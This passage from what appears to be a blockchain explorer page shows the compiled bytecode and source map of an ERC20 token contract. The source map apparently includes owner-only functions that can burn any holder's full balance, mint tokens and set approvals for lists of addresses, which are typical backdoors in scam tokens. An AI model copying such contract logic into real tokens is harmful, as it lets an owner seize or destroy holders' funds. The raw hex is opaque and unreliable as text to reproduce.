93565b610b77838383610660565b6001600160a01b03831660009081526020819052604090205481811015610bb05760405162461bcd60e51b815260040161059390610fd7565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610be79084906111b9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3191906111a2565b60405180910390a3610914848484610660565b60008183610c655760405162461bcd60e51b81526004016105939190610e40565b506000610c7284866111d1565b95945050505050565b80356001600160a01b03811681146104bb57600080fd5b600060208284031215610ca3578081fd5b61045682610c7b565b60008060408385031215610cbe578081fd5b610cc783610c7b565b9150610cd560208401610c7b565b90509250929050565b600080600060608486031215610cf2578081fd5b610cfb84610c7b565b9250610d0960208501610c7b565b9150604084013590509250925092565b60008060408385031215610d2b578182fd5b610d3483610c7b565b946020939093013593505050565b60008060408385031215610d54578182fd5b823567ffffffffffffffff80821115610d6b578384fd5b818501915085601f830112610d7e578384fd5b8135602082821115610d9257610d926113aa565b80820260405182828201018181108682111715610db157610db16113aa565b604052838152828101945085830182870184018b1015610dcf578889fd5b8896505b84871015610df857610de481610c7b565b865260019690960195948301948301610dd3565b509997909101359750505050505050565b600060208284031215610e1a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6c57858101830151858201604001528201610e50565b81811115610e7d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156111cc576111cc611394565b500190565b6000826111ec57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611203575061122e565b81870482111561121557611215611394565b8086161561122257918102915b9490941c9380026111f4565b94509492505050565b600061045660001960ff85168460008261125357506001610456565b8161126057506000610456565b81600181146112765760028114611280576112ad565b6001915050610456565b60ff84111561129157611291611394565b6001841b9150848211156112a7576112a7611394565b50610456565b5060208310610133831016604e8410600b84101617156112e0575081810a838111156112db576112db611394565b610456565b6112ed84848460016111f1565b8086048211156112ff576112ff611394565b02949350505050565b600081600019048311821515161561132257611322611394565b500290565b60008282101561133957611339611394565b500390565b60028104600182168061135257607f821691505b6020821081141561137357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561138d5761138d611394565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220f776d892a25ec31f1818ae3d27e7c914ace8806a6e216c6114164beed74c6b5c64736f6c63430008000033

Deployed Bytecode Sourcemap

9319:1995:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3114:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4086:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;10996:104::-;;;;;;:::i;:::-;;:::i;:::-;;3451:108;;;:::i;:::-;;;;;;;:::i;4301:295::-;;;;;;:::i;:::-;;:::i;3345:92::-;;;:::i;:::-;;;;;;;:::i;4610:238::-;;;;;;:::i;:::-;;:::i;9523:21::-;;;:::i;10589:82::-;;;;;;:::i;:::-;;:::i;3573:127::-;;;;;;:::i;:::-;;:::i;1042:135::-;;;:::i;9495:21::-;;;:::i;9422:62::-;;;:::i;:::-;;;;;;;:::i;5991:65::-;;;:::i;10679:80::-;;;;;;:::i;:::-;;:::i;780:89::-;;;:::i;3228:104::-;;;:::i;10497:83::-;;;;;;:::i;:::-;;:::i;4862:436::-;;;;;;:::i;:::-;;:::i;9396:19::-;;;:::i;3714:193::-;;;;;;:::i;:::-;;:::i;10777:123::-;;;;;;:::i;:::-;;:::i;11110:194::-;;;;;;:::i;:::-;;:::i;10907:81::-;;;;;;:::i;:::-;;:::i;3921:151::-;;;;;;:::i;:::-;;:::i;1191:201::-;;;;;;:::i;:::-;;:::i;3114:100::-;3168:13;3201:5;3194:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3114:100;:::o;4086:201::-;4169:4;4186:13;4202:12;:10;:12::i;:::-;4186:28;;4225:32;4234:5;4241:7;4250:6;4225:8;:32::i;:::-;4275:4;4268:11;;;4086:201;;;;;:::o;10996:104::-;726:13;:11;:13::i;:::-;11058:34:::1;11064:7;11073:18;11083:7;11073:9;:18::i;:::-;11058:5;:34::i;:::-;10996:104:::0;:::o;3451:108::-;3539:12;;3451:108;:::o;4301:295::-;4432:4;4449:15;4467:12;:10;:12::i;:::-;4449:30;;4490:38;4506:4;4512:7;4521:6;4490:15;:38::i;:::-;4539:27;4549:4;4555:2;4559:6;4539:9;:27::i;:::-;4584:4;4577:11;;;4301:295;;;;;;:::o;3345:92::-;3428:1;3345:92;:::o;4610:238::-;4698:4;4715:13;4731:12;:10;:12::i;:::-;4715:28;;4754:64;4763:5;4770:7;4807:10;4779:25;4789:5;4796:7;4779:9;:25::i;:::-;:38;;;;:::i;:::-;4754:8;:64::i;9523:21::-;;;;:::o;10589:82::-;726:13;:11;:13::i;:::-;10649:6:::1;:14:::0;10589:82::o;3573:127::-;-1:-1:-1;;;;;3674:18:0;;3647:7;3674:18;;;;;;;;;;;3573:127;;;;:::o;1042:135::-;1098:71;1125:42;1098:18;:71::i;:::-;1042:135::o;9495:21::-;;;;:::o;9422:62::-;;;-1:-1:-1;;;;;9422:62:0;;:::o;5991:65::-;;;-1:-1:-1;;;;;5991:65:0;;:::o;10679:80::-;726:13;:11;:13::i;:::-;10739:4:::1;:12:::0;;-1:-1:-1;;;;;;10739:12:0::1;-1:-1:-1::0;;;;;10739:12:0;;;::::1;::::0;;;::::1;::::0;;10679:80::o;780:89::-;854:6;;-1:-1:-1;;;;;854:6:0;780:89;:::o;3228:104::-;3284:13;3317:7;3310:14;;;;;:::i;10497:83::-;726:13;:11;:13::i;:::-;10557:6:::1;:15:::0;10497:83::o;4862:436::-;4955:4;4972:13;4988:12;:10;:12::i;:::-;4972:28;;5011:24;5038:25;5048:5;5055:7;5038:9;:25::i;:::-;5011:52;;5102:15;5082:16;:35;;5074:85;;;;-1:-1:-1;;;5074:85:0;;;;;;;:::i;:::-;;;;;;;;;5195:60;5204:5;5211:7;5239:15;5220:16;:34;5195:8;:60::i;:::-;-1:-1:-1;5286:4:0;;4862:436;-1:-1:-1;;;;4862:436:0:o;9396:19::-;;;-1:-1:-1;;;;;9396:19:0;;:::o;3714:193::-;3793:4;3810:13;3826:12;:10;:12::i;:::-;3810:28;;3849;3859:5;3866:2;3870:6;3849:9;:28::i;10777:123::-;726:13;:11;:13::i;:::-;10852:40:::1;10858:7;10881:10;:8;:10::i;:::-;10875:16;::::0;:2:::1;:16;:::i;:::-;10867:24;::::0;:6;:24:::1;:::i;10852:40::-;10777:123:::0;;:::o;11110:194::-;726:13;:11;:13::i;:::-;11205:9:::1;11201:94;11224:3;:10;11220:1;:14;11201:94;;;11257:24;11266:3;11270:1;11266:6;;;;;;-1:-1:-1::0;;;11266:6:0::1;;;;;;;;;;;;;;;11274;11257:8;:24::i;:::-;-1:-1:-1::0;11236:3:0;::::1;::::0;::::1;:::i;:::-;;;;11201:94;;;;11110:194:::0;;:::o;10907:81::-;726:13;:11;:13::i;:::-;10968:4:::1;:12:::0;;-1:-1:-1;;;;;;10968:12:0::1;-1:-1:-1::0;;;;;10968:12:0;;;::::1;::::0;;;::::1;::::0;;10907:81::o;3921:151::-;-1:-1:-1;;;;;4037:18:0;;;4010:7;4037:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3921:151::o;1191:201::-;726:13;:11;:13::i;:::-;-1:-1:-1;;;;;1280:22:0;::::1;1272:73;;;;-1:-1:-1::0;;;1272:73:0::1;;;;;;;:::i;:::-;1356:28;1375:8;1356:18;:28::i;201:98::-:0;281:10;201:98;:::o;7032:380::-;-1:-1:-1;;;;;7168:19:0;;7160:68;;;;-1:-1:-1;;;7160:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7247:21:0;;7239:68;;;;-1:-1:-1;;;7239:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7320:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7372:32;;;;;7350:6;;7372:32;:::i;:::-;;;;;;;;7032:380;;;:::o;884:144::-;970:12;:10;:12::i;:::-;960:6;;-1:-1:-1;;;;;960:6:0;;;:22;;;952:67;;;;-1:-1:-1;;;952:67:0;;;;;;;:::i;6476:544::-;6571:4;;-1:-1:-1;;;;;6560:15:0;;;6571:4;;6560:15;;6552:61;;;;-1:-1:-1;;;6552:61:0;;;;;;;:::i;:::-;6656:4;;6626:43;;6647:7;;-1:-1:-1;;;;;6656:4:0;6662:6;6626:20;:43::i;:::-;-1:-1:-1;;;;;6707:18:0;;6682:22;6707:18;;;;;;;;;;;6744:24;;;;6736:71;;;;-1:-1:-1;;;6736:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6843:18:0;;;:9;:18;;;;;;;;;;;;6864:23;;;6843:44;;6944:4;;6926:31;;6944:4;;;6926:31;;;;6881:6;;6926:31;:::i;:::-;;;;;;;;6999:4;;6970:42;;6990:7;;-1:-1:-1;;;;;6999:4:0;7005:6;6970:42;:::i;7426:453::-;7561:24;7588:25;7598:5;7605:7;7588:9;:25::i;:::-;7561:52;;-1:-1:-1;;7628:16:0;:37;7624:248;;7710:6;7690:16;:26;;7682:68;;;;-1:-1:-1;;;7682:68:0;;;;;;;:::i;:::-;7794:51;7803:5;7810:7;7838:6;7819:16;:25;7794:8;:51::i;:::-;7426:453;;;;:::o;9751:740::-;9884:9;9896:16;:6;9907:4;9896:10;:16::i;:::-;9936:4;;9884:28;;-1:-1:-1;;;;;;9926:14:0;;;9936:4;;9926:14;9923:561;;;9980:4;;9992:6;;9956:44;;9972:6;;-1:-1:-1;;;;;9980:4:0;;;;9986:13;;:1;;:5;:13::i;:::-;9956:15;:44::i;:::-;10015:54;10031:6;10039:9;10050:18;10061:6;;10056:4;:11;;;;:::i;:::-;10050:1;;:5;:18::i;10015:54::-;9923:561;;;10102:4;;-1:-1:-1;;;;;10089:17:0;;;10102:4;;10089:17;10086:398;;;10146:4;;10158:6;;10122:44;;10138:6;;-1:-1:-1;;;;;10146:4:0;;;;10152:13;;:1;;:5;:13::i;10122:44::-;10181:54;10197:6;10205:9;10216:18;10227:6;;10222:4;:11;;;;:::i;10086:398::-;10256:4;;-1:-1:-1;;;;;10256:4:0;:18;;;;10255:43;;-1:-1:-1;10293:4:0;;-1:-1:-1;;;;;10280:17:0;;;10293:4;;10280:17;;10255:43;:63;;;;-1:-1:-1;10313:4:0;;-1:-1:-1;;;;;10303:14:0;;;10313:4;;10303:14;;10255:63;10252:232;;;10347:47;10363:6;10371:9;10382:11;:1;10388:4;10382:5;:11::i;10252:232::-;10425:47;10441:6;10449:9;10460:11;:1;10466:4;10460:5;:11::i;1406:191::-;1499:6;;;-1:-1:-1;;;;;1516:17:0;;;-1:-1:-1;;;;;;1516:17:0;;;;;;;1549:40;;1499:6;;;1516:17;1499:6;;1549:40;;1480:16;;1549:40;1406:191;;:::o;8987:132::-;9045:7;9072:39;9076:1;9079;9072:39;;;;;;;;;;;;;;;;;:3;:39::i;8735:246::-;8793:7;8817:6;8813:47;;-1:-1:-1;8847:1:0;8840:8;;8813:47;8870:9;8882:5;8886:1;8882;:5;:::i;:::-;8870:17;-1:-1:-1;8915:1:0;8906:5;8910:1;8870:17;8906:5;:::i;:::-;:10;8898:56;;;;-1:-1:-1;;;8898:56:0;;;;;;;:::i;5312:671::-;-1:-1:-1;;;;;5443:18:0;;5435:68;;;;-1:-1:-1;;;5435:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5522:16:0;;5514:64;;;;-1:-1:-1;;;5514:64:0;;;;;;;:::i;:::-;5591:38;5612:4;5618:2;5622:6;5591:20;:38::i;:::-;-1:-1:-1;;;;;5664:15:0;;5642:19;5664:15;;;;;;;;;;;5698:21;;;;5690:72;;;;-1:-1:-1;;;5690:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5798:15:0;;;:9;:15;;;;;;;;;;;5816:20;;;5798:38;;5858:13;;;;;;;;:23;;5830:6;;5798:9;5858:23;;5830:6;;5858:23;:::i;:::-;;;;;;;;5914:2;-1:-1:-1;;;;;5899:26:0;5908:4;-1:-1:-1;;;;;5899:26:0;;5918:6;5899:26;;;;;;:::i;:::-;;;;;;;;5938:37;5958:4;5964:2;5968:6;5938:19;:37::i;9125:189::-;9211:7;9246:12;9239:5;9231:28;;;;-1:-1:-1;;;9231:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9270:9:0;9282:5;9286:1;9282;:5;:::i;:::-;9270:17;9125:189;-1:-1:-1;;;;;9125:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:1236::-;;;1448:2;1436:9;1427:7;1423:23;1419:32;1416:2;;;1469:6;1461;1454:22;1416:2;1514:9;1501:23;1543:18;1584:2;1576:6;1573:14;1570:2;;;1605:6;1597;1590:22;1570:2;1648:6;1637:9;1633:22;1623:32;;1693:7;1686:4;1682:2;1678:13;1674:27;1664:2;;1720:6;1712;1705:22;1664:2;1761;1748:16;1783:4;1806:2;1802;1799:10;1796:2;;;1812:18;;:::i;:::-;1859:2;1855;1851:11;1891:2;1885:9;1942:2;1937;1929:6;1925:15;1921:24;1995:6;1983:10;1980:22;1975:2;1963:10;1960:18;1957:46;1954:2;;;2006:18;;:::i;:::-;2042:2;2035:22;2092:18;;;2126:15;;;;-1:-1:-1;2161:11:1;;;2191;;;2187:20;;2184:33;-1:-1:-1;2181:2:1;;;2235:6;2227;2220:22;2181:2;2262:6;2253:15;;2277:171;2291:2;2288:1;2285:9;2277:171;;;2348:25;2369:3;2348:25;:::i;:::-;2336:38;;2309:1;2302:9;;;;;2394:12;;;;2426;;2277:171;;;-1:-1:-1;2467:6:1;2505:18;;;;2492:32;;-1:-1:-1;;;;;;;1406:1124:1:o;2535:190::-;;2647:2;2635:9;2626:7;2622:23;2618:32;2615:2;;;2668:6;2660;2653:22;2615:2;-1:-1:-1;2696:23:1;;2605:120;-1:-1:-1;2605:120:1:o;2730:203::-;-1:-1:-1;;;;;2894:32:1;;;;2876:51;;2864:2;2849:18;;2831:102::o;2938:187::-;3103:14;;3096:22;3078:41;;3066:2;3051:18;;3033:92::o;3130:603::-;;3271:2;3300;3289:9;3282:21;3332:6;3326:13;3375:6;3370:2;3359:9;3355:18;3348:34;3400:4;3413:140;3427:6;3424:1;3421:13;3413:140;;;3522:14;;;3518:23;;3512:30;3488:17;;;3507:2;3484:26;3477:66;3442:10;;3413:140;;;3571:6;3568:1;3565:13;3562:2;;;3641:4;3636:2;3627:6;3616:9;3612:22;3608:31;3601:45;3562:2;-1:-1:-1;3717:2:1;3696:15;-1:-1:-1;;3692:29:1;3677:45;;;;3724:2;3673:54;;3251:482;-1:-1:-1;;;3251:482:1:o;3738:399::-;3940:2;3922:21;;;3979:2;3959:18;;;3952:30;4018:34;4013:2;3998:18;;3991:62;-1:-1:-1;;;4084:2:1;4069:18;;4062:33;4127:3;4112:19;;3912:225::o;4142:398::-;4344:2;4326:21;;;4383:2;4363:18;;;4356:30;4422:34;4417:2;4402:18;;4395:62;-1:-1:-1;;;4488:2:1;4473:18;;4466:32;4530:3;4515:19;;4316:224::o;4545:402::-;4747:2;4729:21;;;4786:2;4766:18;;;4759:30;4825:34;4820:2;4805:18;;4798:62;-1:-1:-1;;;4891:2:1;4876:18;;4869:36;4937:3;4922:19;;4719:228::o;4952:398::-;5154:2;5136:21;;;5193:2;5173:18;;;5166:30;5232:34;5227:2;5212:18;;5205:62;-1:-1:-1;;;5298:2:1;5283:18;;5276:32;5340:3;5325:19;;5126:224::o;5355:353::-;5557:2;5539:21;;;5596:2;5576:18;;;5569:30;5635:31;5630:2;5615:18;;5608:59;5699:2;5684:18;;5529:179::o;5713:402::-;5915:2;5897:21;;;5954:2;5934:18;;;5927:30;5993:34;5988:2;5973:18;;5966:62;-1:-1:-1;;;6059:2:1;6044:18;;6037:36;6105:3;6090:19;;5887:228::o;6120:397::-;6322:2;6304:21;;;6361:2;6341:18;;;6334:30;6400:34;6395:2;6380:18;;6373:62;-1:-1:-1;;;6466:2:1;6451:18;;6444:31;6507:3;6492:19;;6294:223::o;6522:356::-;6724:2;6706:21;;;6743:18;;;6736:30;6802:34;6797:2;6782:18;;6775:62;6869:2;6854:18;;6696:182::o;6883:397::-;7085:2;7067:21;;;7124:2;7104:18;;;7097:30;7163:34;7158:2;7143:18;;7136:62;-1:-1:-1;;;7229:2:1;7214:18;;7207:31;7270:3;7255:19;;7057:223::o;7285:401::-;7487:2;7469:21;;;7526:2;7506:18;;;7499:30;7565:34;7560:2;7545:18;;7538:62;-1:-1:-1;;;7631:2:1;7616:18;;7609:35;7676:3;7661:19;;7459:227::o;7691:400::-;7893:2;7875:21;;;7932:2;7912:18;;;7905:30;7971:34;7966:2;7951:18;;7944:62;-1:-1:-1;;;8037:2:1;8022:18;;8015:34;8081:3;8066:19;;7865:226::o;8096:401::-;8298:2;8280:21;;;8337:2;8317:18;;;8310:30;8376:34;8371:2;8356:18;;8349:62;-1:-1:-1;;;8442:2:1;8427:18;;8420:35;8487:3;8472:19;;8270:227::o;8502:177::-;8648:25;;;8636:2;8621:18;;8603:76::o;8684:184::-;8856:4;8844:17;;;;8826:36;;8814:2;8799:18;;8781:87::o;8873:128::-;;8944:1;8940:6;8937:1;8934:13;8931:2;;;8950:18;;:::i;:::-;-1:-1:-1;8986:9:1;;8921:80::o;9006:217::-;;9072:1;9062:2;;-1:-1:-1;;;9097:31:1;;9151:4;9148:1;9141:15;9179:4;9104:1;9169:15;9062:2;-1:-1:-1;9208:9:1;;9052:171::o;9228:453::-;9324:6;9347:5;9361:314;9410:1;9447:2;9437:8;9434:16;9424:2;;9454:5;;;9424:2;9495:4;9490:3;9486:14;9480:4;9477:24;9474:2;;;9504:18;;:::i;:::-;9554:2;9544:8;9540:17;9537:2;;;9569:16;;;;9537:2;9648:17;;;;;9608:15;;9361:314;;;9305:376;;;;;;;:::o;9686:148::-;;9773:55;-1:-1:-1;;9814:4:1;9800:19;;9794:4;9839:922;9923:8;9913:2;;-1:-1:-1;9964:1:1;9978:5;;9913:2;10012:4;10002:2;;-1:-1:-1;10049:1:1;10063:5;;10002:2;10094:4;10112:1;10107:59;;;;10180:1;10175:183;;;;10087:271;;10107:59;10137:1;10128:10;;10151:5;;;10175:183;10212:3;10202:8;10199:17;10196:2;;;10219:18;;:::i;:::-;10275:1;10265:8;10261:16;10252:25;;10303:3;10296:5;10293:14;10290:2;;;10310:18;;:::i;:::-;10343:5;;;10087:271;;10442:2;10432:8;10429:16;10423:3;10417:4;10414:13;10410:36;10404:2;10394:8;10391:16;10386:2;10380:4;10377:12;10373:35;10370:77;10367:2;;;-1:-1:-1;10479:19:1;;;10514:14;;;10511:2;;;10531:18;;:::i;:::-;10564:5;;10367:2;10611:42;10649:3;10639:8;10633:4;10630:1;10611:42;:::i;:::-;10686:6;10681:3;10677:16;10668:7;10665:29;10662:2;;;10697:18;;:::i;:::-;10735:20;;9903:858;-1:-1:-1;;;;9903:858:1:o;10766:168::-;;10872:1;10868;10864:6;10860:14;10857:1;10854:21;10849:1;10842:9;10835:17;10831:45;10828:2;;;10879:18;;:::i;:::-;-1:-1:-1;10919:9:1;;10818:116::o;10939:125::-;;11007:1;11004;11001:8;10998:2;;;11012:18;;:::i;:::-;-1:-1:-1;11049:9:1;;10988:76::o;11069:380::-;11154:1;11144:12;;11201:1;11191:12;;;11212:2;;11266:4;11258:6;11254:17;11244:27;;11212:2;11319;11311:6;11308:14;11288:18;11285:38;11282:2;;;11365:10;11360:3;11356:20;11353:1;11346:31;11400:4;11397:1;11390:15;11428:4;11425:1;11418:15;11282:2;;11124:325;;;:::o;11454:135::-;;-1:-1:-1;;11514:17:1;;11511:2;;;11534:18;;:::i;:::-;-1:-1:-1;11581:1:1;11570:13;;11501:88::o;11594:127::-;11655:10;11650:3;11646:20;11643:1;11636:31;11686:4;11683:1;11676:15;11710:4;11707:1;11700:15;11726:127;11787:10;11782:3;11778:20;11775:1;11768:31;11818:4;11815:1;11808:15;11842:4;11839:1;11832:15

Swarm Source

ipfs://f776d892a25ec31f1818ae3d27e7c914ace8806a6e216c6114164beed74c6b5c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.